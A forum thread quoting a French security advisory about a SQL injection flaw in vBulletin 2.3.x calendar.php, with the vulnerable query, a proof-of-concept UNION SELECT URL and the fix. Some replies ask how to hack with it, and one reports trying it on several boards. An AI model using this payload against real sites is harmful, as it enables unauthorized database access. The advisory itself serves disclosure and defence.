[QUOTE]
Date de Publication: 2004-01-07 © K-OTik.COM
Titre: vBulletin 2.3.x "calendar.php" SQL Injection Vulnerability
K-Otik ID : 0481
Risque : Elevé
Exploitable à distance : Oui
Exploitable en local : Oui


* Description Technique - Exploit *

Une vulnérabilité a été identifiée dans le célèbre forum php vBulletin. Le probleme est de type SQL Injection, il se situe dans la variable "eventid" présente dans le fichier "calendar.php".

------------------------ line 585 in calendar.php ---------------------------------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT
allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = $eventid");
-------------------------------------------------------------------------------------

---------------------------- Proof of Concept -------------------------------------
calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate
-------------------------------------------------------------------------------------


* Versions Vulnérables *

vBulletin version v2.3.3 et inférieures.


* Solution *

Utiliser vBulletin version 2.3.4.
http://www.vbulletin.com


* Crédit *

Vulnérabilité découverte par Qianwei Hu (Janvier 2004)




Its french sorry

a stupid question (i don't know nothing about forum's)

but how do i see what version it's using?

on the bottom on every page.

oke tnx now i know

i tried it and still cant get to work

Arrgg.. now i have to fix my board :\ thx 4 nfo.. i will tested before i secure it.. °°

Cya Doc

but how to hack does anybody know an exploit or sth else?

Tried it on a couple of different boards, didn't work very well though.